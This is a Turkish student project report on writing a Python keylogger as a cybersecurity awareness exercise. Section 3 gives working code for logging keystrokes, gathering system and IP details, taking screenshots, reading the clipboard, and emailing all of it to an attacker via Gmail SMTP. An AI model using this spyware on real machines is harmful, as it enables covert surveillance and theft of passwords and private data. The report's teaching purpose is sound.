

ANKARA ÜNİVERSİTESİ
MÜHENDİSLİK FAKÜLTESİ
BİLGİSAYAR MÜHENDİSLİĞİ BÖLÜMÜ



BLM 4061 PROJE RAPORU

Keylogger Projesi

Berat Akay

19290204

Enver Bağcı

Aralık 2022

ÖZET

Bu rapor, yapmış olduğum projeyi anlatmak için hazırlanmıştır. Siber suçlar teknolojinin de gelişmesiyle beraber ivmeli bir şekilde artmaya başlamıştır. Bununla beraber oluşan güvenlik açığını ise siber güvenlik ve bilgi güvenliği gibi önemli konularda bilgili ve tecrübe sahibi çalışanlar aracılığıyla kapatılmaya çalışılmıştır. Siber saldırılara müdahale eden ekiplerin gelen saldırıyı önleyebilmesi için saldırganın bu saldırıları hangi yolla, hangi araçlarla ve hangi metodları kullanarak bu atakları yaptığını bilmesi gerekir. Bu vasıta ile güvenlik açığı kapatılabilir. Ve saldırganların saldırıları başarısız sonuçlanabilir. Bu anlatılardan yola çıkarak bu projede siber saldırıların nasıl yapıldığı ve ortalama teknikleriyle kullanıcıları kandırmaya çalışan hacker'ların çok kullandığı araçlardan biri keylogger'dır. Bu projede kullanıcıların atılan dosyayı çalıştırmaları halinde klavye okuması yapan, bilgisayarların özelliklerini okuyan ve kurbanın ekran görüntüsünü alıp mail yoluyla yollayan keylogger projesi gösterilecektir.

İÇİNDEKİLER

ÖZET	i
İÇİNDEKİLER	ii
1. GİRİŞ	1
1.1. Bilgi Güvenliği Ve Önemi	1
1.2. Siber Güvenlik Ve Uygulamaları	2
1.3. Ortalama Yöntemleri.....	2
2. AMAÇ VE YÖNTEM	3
2.1. Amaç.....	3
2.2. Yöntem.....	3
3. KEYLOGGER	4
3.1. Klavye Okuma.....	4
3.2. Bilgisayar Bilgilerini Toplama	5
3.3. Ekran Görüntüsü Alma.....	6
3.4. Pano Bilgilerini Ele Geçirme.....	7
3.5. Email Gönderme	8,9
4. SOSYAL MÜHENDİSLİK.....	10
4.1. Tanımı ve Önemi.....	10
4.2. Korunma Yolları	11
4.3. Bilgi Toplama	12
5. SONUÇ	13
6. KAYNAKÇA.....	14

1. GİRİŞ

1.1. Bilgi Güvenliği ve Önemi

Günümüz dünyasında hızla artan nüfus ve bu doğrultuda her bir insan ve her bir olay sonucunda oluşan verinin ve bilginin aynı doğrultuda arttığı görülmektedir. Bu bilgilerden bazıları işlevsiz olabilirken bazıları ise insanlar ya da kurumlar için büyük önem taşıyabilir. Bu sebepten ötürü son yıllarda giderek önemini arttıran bilgi güvenliği konusu insanlar ve kurumlar için önemli hale gelmiştir. Yeterli güvenliğin alınmadığı ortamlarda bilgi sahibi şahısların veya kurumların maddi ve manevi olarak son derece olumsuz etkileneceği söylenebilir. Bilgi gizliliği konusunda ise veriler yasalara uygun olarak kuruluşların verileri işleme ve yönetmesi esasına odaklanır.

Bilgi gizliliği ve bilgi güvenliği konuları birbirine karıştırılmamalıdır. Bilgi güvenliği veri hırsızlığını önlemek için araçlar ve yöntemler kullanırken, bilgi gizliliğinde ise firmalar kullanıcıların özel verilerini ellerinde tutması ve dış tarafa bu bilgilerin aktarılmasını esasına dayanır.

Bilgi güvenliğini sağlamak için bazı yöntemler vardır. Bu yöntemler bilginin daha güvenli bir şekilde depolanmasını sağlar. Bu yöntemlerden biri verileri şifreleme yöntemidir. Hassas bilgiler hali hazırda bulunan şifreleme algoritmalarından biriyle şifrelenerek olası bir güvenlik açığında gerekli önlemler alınana kadar bilginin güvende tutulmasına olanak sağlar. TripleDES, IDEA encryption, blowfish encryption şifreleme algoritmalarına örnek verilebilir. Ayrıca verilerin yedekleri alınarak, güvenlik duvarı kullanılarak, modem ve ağ güvenli hale getirilerek veri güvenliği büyük ölçüde sağlanabilir.

1.2. Siber Güvenlik ve Uygulamaları

Siber güvenlik ; bilgi güvenliği, bilgi gizliliği ve bir çok bilgi koruma yönteminin bir arada işlendiği bir ortam olarak düşünülebilir. Temel amacı ise yetkisiz kişilerin hassas verilere ulaşmamasını sağlamak için çeşitli yöntemlerin kullanıldığı bir alan olarak tanımlanabilir. Siber güvenliğin önemine de zararlı yazılımların engellenerek maddi ve manevi büyük hasarlar vermemesi örnek verilebilir. Siber güvenlikte 3 takım vardır. Bunlardan biri olan kırmızı takım saldırı işlerini yaparak sistemlere sızmaya çalışır böylelikle sistemde açık varsa açıklar kapatılır. Mavi takım ise işin savunma kısmını yapar, gelen dosyalardan hangisi zararlıysa onları etkisiz hale getirir. Son olarak mor takımda kırmızı ve mavi takım arasında bir köprü görevi görerek 2 takımın becerilerini birleştirmektedir. Siber güvenlik tiplerine bakılacak olunursa uygulama güvenliği, ağ güvenliği, bulut güvenliği ve IoT güvenliği çeşitleri olduğu görülür. Genel olarak kuruluşlar sadece bu siber güvenlik çeşitlerine değil aynı zamanda siber güvenlik alanında aktif rol oynayan insan, süreç ve teknoloji bileşenlerini de içeren kapsamlı planlar geliştirmelidirler. Siber güvenlikte bahsedilecek bir diğer konu ise tehditlerdir. Bunlara zararlı yazılımlar fidye yazılımları sosyal mühendislik ve oltalama saldırıları örnek verilebilir. Bu saldırılardan kaçınmak adına ise bazı araçlar kullanılmaktadır. Bu araçlara da güvenlik duvarları, Endpoint protection and response, SIEM, IPS/IDS tarzı araçlar örnek olarak verilebilir.

1.3 Oltalama Yöntemleri

Kullanıcıların veya kurumların hassas bilgilerinin çalınması üzerine oluşturulan bir tekniktir. Amaç hacker'ın kullanıcının zaaflarını kullanarak bilgisayarında zararlı dosyayı gizli bir şekilde çalıştırmak olduğu söylenebilir. Hassas bilgileri almanın birden fazla yöntemi vardır. Teknoloji ilerledikçe kullanılan siber suç teknikleri de aynı doğrultuda ilerlemekte ve gelişmektedir. Bu tekniklerden korunmak için hackerların yapabilecekleri hakkında bilgisi olmalı ve bu yöntemlere karşı üretilen anti teknikler konusunda eğitim almalıdır.

2. AMAÇ VE YÖNTEM

2.1. Amaç

Bu projede kullanıcı veya şirket açıklarını hackerların nasıl sömürdüğünü ve kullanıcıları bilgi toplama yöntemleri kullanarak nasıl oltalandığı ve bu zararlı yazılımların nasıl yazıldığı anlatılmak istenmektedir. Bu konuda birçok uluslararası şirketin zararlı yazılımlar üzerine çalışmaları dikkat çekse de, bu farkındalığı oluşturmak ve saldırganın temel stratejisini anlamak adına yazılan zararlı yazılım üzerinde detaylı bir inceleme yapılacaktır.

2.2. Yöntem

Siber güvenlik alanında birçok programlama dili ve aracı kullanılmaktadır. Bu alanda en çok kullanılan program dillerinden biri olan python hem siber güvenliklerin hem de hackerların dikkatini çekmektedir. Bunun en önemli sebepleri arasında açık kaynak kodlu olması yer almaktadır. İçerdiği kütüphaneler sayesinde kod yazma konusunda büyük rahatlık sağlanmıştır. Bu kütüphanelere smtp, socket ve pynput örnek verilebilir. Bu sebeple bu proje python programlama dili ile yapılmasına karar verilmiştir. Bu proje için kullanılacak kütüphanelerin detaylı incelenmesi sonucunda email.mime.multipart, email.mime.text gibi açık kaynak kodlu kütüphaneler projede yer alacaktır.

3. KEYLOGGER

3.1. Klavye Okuma

Keylogger kötü niyetli hackerlar için vazgeçilmez bir yazılımdır. Bu zararlı yazılım sayesinde hackerlar oltasına takmak istedikleri hedeflerle alakalı bir çok bilgi toplayabilme imkanı bulur. Bu bilgi toplama aşamalarından biri ise klavyeden gelen inputları okumaktır.

```
count = 0
keys = []

def on_press(key):
    global keys, count

    print(key)
    keys.append(key)
    count += 1

    if count >= 1:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open(file_path + extend + keys_information, "a") as f:
        for key in keys:
            k = str(key).replace("'", "")
            if k.find("space") > 0:
                f.write('\n')
                f.close()
            elif k.find("Key") == -1:
                f.write(k)
                f.close()

def on_release(key):
    if key == Key.esc:
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
```

Yukardaki kod çıktısında, ilk başta count değişkeni ile keys dizilileri oluşturulur. Klavyeden okunacak harfler veya sayılar keys dizisinin içerisinde tutulur. on_press() fonksiyonunda programı çalıştıran kişinin klavyesinden gelen tüm inputları keys dizisinin içerisine atar. Pynput kütüphanesinden tanımlanan Listener modülü ile inputlar dinlenir ve diziye atılır. Ardından write_file() fonksiyonu ile for döngüsü kullanılarak dizinin içerisindeki inputlar key halinde oluşturulan dosyaya yazılır. Ve Key bulunamadığı taktirde dosya kapatılır. on_release() fonksiyonunda ise 'esc' tuşuna basılana kadar dosya açık tutulup input alınır. 'esc' tuşuna basıldığında dosya kapanır ve klavye okuma sona erer.

3.2 Bilgisayar Bilgilerini Toplama

Hacker'lar zararlı yazılımı hedef bilgisayarda çalıştırınca o bilgisayar hakkında daha kapsamlı bilgiler elde etmek isterler. Bu amaçla hedef tarafından zararlı yazılım çalıştırılır çalıştırılmaz hedef bilgisayarın özelliklerini de elinde tutmak ister ve zararlı yazılımlarına bilgisayar özelliklerini sömüren kodlar da ilave ederler.

```
def computer_information():  
    with open(file_path + extend + system_information, "a") as f:  
        hostname = socket.gethostname()  
        IPAddr= socket.gethostbyname(hostname)  
        try:  
            public_ip = get("https://api.ipify.org").text  
            f.write("Public IP Address: " + public_ip + "\n")  
        except Exception:  
            f.write("Couldn't get Public Ip Address" + "\n")  
  
        f.write("Processor: " + (platform.processor()) + '\n')  
        f.write("System: " + platform.system() + " " + platform.version() + '\n')  
        f.write("Machine: " + platform.machine() + "\n")  
        f.write("Hostname: " + hostname + "\n")  
        f.write("Private IP Address: " + IPAddr + "\n")  
  
computer_information()
```

Yukarıdaki kod bloğunda computer_information adında fonksiyon oluşturulup with open metoduyla bir dosya açılmıştır. Python'da mevcut olan socket kütüphanesi yardımıyla gethostname() metodu kullanılarak ip adresleri ve hostname bilgilerine ulaşılmaktadır.

try bloğu arasında api.ipify adresinden get isteği yapılarak public ip bilgisine erişilmek istenmiştir. İstenen bilgilere ulaşılamadığı taktirde bir exception döndermesi için bir except bloğu oluşturulmuştur. Son dosya yazma işlemleri de tamamlandıktan sonra yazılan fonksiyon alt tarafta çağrılır.

3.3 Ekran Görüntüsü Alma

Hedefler hakkında bilgi toplanırken hedefin bilgisayar üzerinde ne yaptığı, önemli bir işle ilgileniyorsa bu işle alakalı bilgilerin tam olarak ne anlama geldiğini anlamak için keylogger projesine ekran görüntüsü alma kodları hackerlar tarafından eklenir.

```
def screenshot():  
    im = ImageGrab.grab()  
    im.save(file_path+ extend + screenshot_information)  
  
screenshot()
```

Yukarıda verilen kod parçasında da görüldüğü üzere çok kısa bir kod bloğuyla bu işlem hackerlar tarafından kolaylıkla kodlanabilmektedir. Kod bloğunda ise ilk başta python'un LIB kütüphanesinden ImageGrab modülü import edilir. Sonrasında ise screenshot() fonksiyonu oluşturulur. İm değişkenine ImageGrab.grab modülünden gelen dosya aktarılır ve kaydedilecek dizinin yolu gösterilerek save edilir. Son olarakta screenshot() fonksiyonu çağırılıp çalıştırılır.

3.4 Pano Bilgilerini Ele Geçirme

Kötü niyetli hackerlar uğraşlar sonucu hedefini oltaya takmasıyla beraber hedefin tüm hareketlerini inceleme altına alır ve bu sayede haberdar olmak ister. Küçük bir ayrıntıda dahi büyük sonuçların olacağı düşünülür. Bu yüzden kullanıcı ağa düşürüldüğü takdirde her türlü bilgi alma işlemi uygulanır. Bunlardan biri ise kullanıcının en son panoya kaydettiği bilgilerin keylogger vasıtasıyla hacker'a iletilmesidir.

```
def copy_clipboard():  
    with open(file_path + extend + clipboard_information, "a") as f:  
        try:  
            win32clipboard.OpenClipboard()  
            pasted_data = win32clipboard.GetClipboardData()  
            win32clipboard.CloseClipboard()  
  
            f.write("Clipboard Data: \n" + pasted_data)  
  
        except:  
            f.write("Clipboard couldn't be not be copied")  
copy_clipboard()
```

Panodan veri çalmak isteyen hackerların kullandığı kod satırlarından biri yukarıdaki örnekte gösterildiği gibidir. Bu kod parçasında copy_clipboard() fonksiyonu tanımlanmıştır. Ardından dosya açılarak okuma ve yazma izinleri verilmiştir. win32clipboard kütüphanesinden OpenClipboard() metodu try blokları arasında çağırılır ve alınan pano bilgisi dosyaya yazılır. Bilgi alınamaması üzerine except bloğu yazılır ve hata mesajı verilir. Son olarakta copy_clipboard() fonksiyonu çağırılır ve çalıştırılır.

3.5 Email Gönderme





Hacker oltaya düşürdüğü hedefle alakalı tüm bilgilere erişim sağladıktan sonra bu bilgileri almak ve kullanmak ister. Oltaya düşen hedeften bilgileri almanın birden fazla yolu bulunmaktadır. Bunlar arasında en çok kullanılan metod ise email göndermedir. Bu projede de toplanan bilgilerin email yoluyla nasıl atıldığı gösterilecektir.

```
def send_email(filename, attachment, toaddr):  
    fromaddr = email_address  
    msg = MIMEMultipart()  
    msg['From'] = fromaddr  
    msg['To'] = toaddr  
    msg['Subject'] = "Keylogger"  
    body = "Body_of_the_mail"  
    msg.attach(MIMEText(body, 'plain'))  
    filename = filename  
    attachment = open(attachment, 'rb')  
    p = MIMEBase('application', 'octet-stream')  
    p.set_payload((attachment).read())  
    encoders.encode_base64(p)  
    p.add_header('Content-Disposition', "attachment; filename = %s" % filename)  
    msg.attach(p)  
    s = smtplib.SMTP('smtp.gmail.com', 587)  
    s.starttls()  
    s.login(fromaddr, password)  
    text = msg.as_string()  
    s.sendmail(fromaddr, toaddr, text)  
    s.quit()
```

send_email() fonksiyonu oluşturulur ve smtplib, MIMEBase ve MIMEText modülleri import edilir. Sonrasında gönderilecek email ile alakalı bilgiler alınarak ve smtp kullanılarak bilgiler mail yoluyla alınmaya çalışılır. İşlemler yapıldıktan sonra istenilen dosyaların mail yoluyla aktarımı istenilen hesaba yapılabilir.

```
send_email(keys_information, file_path + extend + keys_information, toaddr)
send_email(screenshot_information, file_path + extend + screenshot_information, toaddr)
send_email(system_information, file_path + extend + system_information, toaddr)
send_email(clipboard_information, file_path + extend + clipboard_information, toaddr)
```

Yukarıdaki kod parçasında, tüm proje kapsamında toplanılan tüm verilerin hackerın eline geçme aşaması olan bilgileri email ile gönderme aşaması görülmektedir. Bu aşamada oluşturulan send_email() fonksiyonu ile gönderilmek istenen dosyanın ismi, bulunduğu dosya dizininin yolu ve hangi adrese gönderileceği bilgileri girilerek istenilen tüm dosyaların transferi gerçekleştirilebilir. Projede de klavye verileri, bilgisayar sistem özellikleri, ekran görüntüsü ve son olarak pano bilgileri email yoluyla gönderilmektedir.

<input type="checkbox"/> ☆ ben	Keylogger - Body_of_the_mail  clipboard.txt
<input type="checkbox"/> ☆ ben	Keylogger - Body_of_the_mail  sistembilgisi.txt
<input type="checkbox"/> ☆ ben	Keylogger - Body_of_the_mail  screenshot.png
<input type="checkbox"/> ☆ ben	Keylogger - Body_of_the_mail  klavye.txt

4. SOSYAL MÜHENDİSLİK

4.1 Tanımı ve Önemi

Sosyal mühendislik, insanların duygusal yönden manipüle edilmesi veya yanıltılması yoluyla hassas bilgileri ifşa etmelerine veya kendi en iyi çıkarlarına olmayacak şekilde eylemler gerçekleştirmelere yönlendirme sürecidir. Bu taktikler çeşitli formlarda olabilir. Bu formlara phishing, pretexting, baiting, quid pro quo ve scareware örnek verilebilir. Sosyal mühendisliğin önemi konusuna değinilirse, sosyal mühendislik siber güvenlik açısından önemlidir çünkü siber saldırganlar, insanların bilinçsizce hassas bilgilerini paylaşmalarını veya bilinçli olmadan zararlı eylemleri gerçekleştirmelerini hedefleyebilirler. Bu nedenle, sosyal mühendislik taktiklerine karşı kullanıcıların ve şirketlerin bilinçli olması gerekir. Alınan önlemler önemli zararların önüne geçilmesine vesile olabilir. Sosyal mühendislik hakkında dikkat edilmesi gereken önemli konulara değinilirse Kuruluşların, olaya müdahale planları ve şüpheli faaliyeti bildirme prosedürleri gibi sosyal mühendislik saldırılarını ele almak için yerinde politika ve prosedürlere sahip olması önemlidir.

4.2 Korunma Yolları

Bireylerin ve kuruluşların kendilerini sosyal mühendislik saldırılarına karşı korumak için atabilecekleri birkaç adım vardır. Bunlardan bahsedilecek olunursa, kurumlarda çalışan çalışanlar eğitilmelidir. Kimlik avı, bahane uydurma ve tuzağa düşürme gibi sosyal mühendislik saldırılarında kullanılan yaygın taktikler hakkında bilgi edinilmelidir. Başka bir çözüm önerisi ise teknik kontrollerin uygulanmasıdır. Sistemlere ve ağlara erişimi korumak için güçlü parolalar ve iki faktörlü kimlik doğrulama kullanılmalıdır. Kötü amaçlı yazılımlara karşı koruma sağlamak için virüsten koruma ve kötü amaçlı yazılımdan koruma tarzı yazılımlar kullanılabilir. Ayrıca hassas bilgiler paylaşılırken dikkatli olunmalıdır. Bilinmeyen kaynaklardan gelen e-postalara, telefon aramalarına veya diğer iletişime karşı dikkatli olunmalıdır. Aynı zamanda parolalar veya finansal bilgiler gibi hassas bilgileri paylaşırken de dikkatli olunmalıdır. Politika ve prosedürlere sahip olunmalıdır. Olay müdahale planları ve şüpheli aktiviteyi raporlama prosedürleri gibi sosyal mühendislik saldırılarını ele almak için politikalar ve prosedürler geliştirilmeli ve bunlar titizlikle uygulanmalıdır. Ve son olarak güncel kalınmalıdır.Çalışanları en son sosyal mühendislik taktikleri ve teknikleri hakkında bilgilendirilmesi gerekir ve bunlara karşı korunmak için en güncel güvenlik önlemlerine sahip olunmalıdır.

4.3 **Bilgi Toplama**

Saldırganların bir sosyal mühendislik saldırısı sırasında bilgi toplamasının birçok yolu vardır. Bunlardan biri, çöp kutusu araştırmak olabilir. Bu, hassas bilgiler içerebilecek atılmış belgeler veya diğer materyaller için çöp kutularını veya geri dönüşüm konteynırlarını fiziksel olarak aramayı içerir. Bir diğeri ise online araştırma olabilir. Saldırganlar, sosyal medyada veya diğer çevrimiçi platformlarda hedefleri hakkında bilgi arayabilir veya istihbarat toplamak için web sitelerinden veya veritabanlarından kamuya açık bilgileri kullanabilir. Başka bir yol ise oltalama saldırısıdır. Bu, hedefi hassas bilgileri ifşa etmesi veya kötü amaçlı bir bağlantıya tıklaması için kandırmak amacıyla, genellikle meşru bir kuruluş veya birey gibi görünen hedefe sahte e-postalar veya başka iletişimler göndermeyi içerir. Hacker'ların kullandığı başka yöntem ise kandırma yöntemidir. Bu yöntemle, hassas bilgiler veya sistemlere veya ağlara erişim karşılığında hedefe ücretsiz yazılım veya diğer kaynaklar gibi değerli bir şey teklif etmeyi içerir. Son yöntem ise fiziksel gözlemdir. Saldırganlar, alışkanlıkları, rutinleri veya kişisel veya profesyonel yaşamlarının diğer yönleri hakkında bilgi toplamak için hedeflerini şahsen veya gözetleme yoluyla gözlemleyebilir.

5. SONUÇ

Sonuç olarak, keylogger'lar ve sosyal mühendislik, bireyler ve kuruluşlar için ciddi sonuçları olabilecek ve aynı zamanda siber güvenlik için önemli tehditlerdir. Keylogger'lar, klavye hareketlerini gizlice kaydedebilen ve iletebilen, bilgisayar korsanlarının parolalar ve oturum açma kimlik bilgileri gibi hassas bilgileri yakalamasına olanak tanıyan yazılım programlarıdır. Bu bilgiler daha sonra hassas sistemlere ve verilere yetkisiz erişim elde etmek için kullanılabilir ve bu da mali kayıplara, itibar kaybına ve diğer olumsuz sonuçlara yol açar. Projenin 3. Bölümünde bir Keylogger projesi oluşturulmuş ve kodlar tek tek detaylı bir şekilde açıklanmıştır. Bu vesileyle yapılan saldırılara önlem alabilmek kolay hale gelmiştir. Projenin 4. bölümünde ise sosyal mühendislik hakkında detaylı bilgiler verilmiştir. Bu şekilde Keylogger tarzı zararlı yazılımlara olan bilinç arttırılmaya çalışılmıştır. Bi daha sosyal mühendisliği tanımlayacak olursak, sosyal mühendislik, hassas bilgileri ifşa etmeleri veya belirli eylemleri gerçekleştirmeleri için bireyleri manipüle etmeye ve kandırmaya dayanır. Bu, tümü insan psikolojisini ve savunmasızlığını istismar etmeyi amaçlayan kimlik avı e-postaları, bahane, tuzak veya korkutma gibi çeşitli yöntemlerle yapılabilir. Hem keylogger'lar hem de sosyal mühendislik, siber saldırıları gerçekleştirmek için birlikte kullanılabilir ve bu da onları hem kuruluşlar hem de bireyler için zorlu bir tehdit haline getirir. Bu tehditlere karşı korunmak için, bireylerin ve kuruluşların sağlam güvenlik önlemleri alması ve çalışanları güvenli çevrimiçi uygulamalar konusunda eğitmesi önemlidir. Bu yöntemlerden korunmak için en iyi uygulamalar, güçlü ve benzersiz parolalar kullanmayı, iki faktörlü kimlik doğrulamayı uygulamayı, bilinmeyen bağlantılara tıklamaktan kaçınmayı ve istenmeyen e-postalara ve telefon aramalarına karşı dikkatli olmayı içerir. Kişiler ve kuruluşlar bu adımları atarak keylogger'ların ve sosyal mühendislik saldırılarının kurbanı olma riskini önemli ölçüde azaltabilir.

6. KAYNAKÇA

- <https://www.python.org/>
- <https://www.wikipedia.org/>
- <https://realpython.com/python-send-email/>
- <https://www.jetbrains.com/pycharm/>
- <https://pip.pypa.io/en/stable/>
- https://en.wikipedia.org/wiki/Social_engineering
- <https://tr.wikipedia.org/wiki/SMTP>
- <https://socket.io/>
- <https://www.google.com/intl/tr/gmail/about/>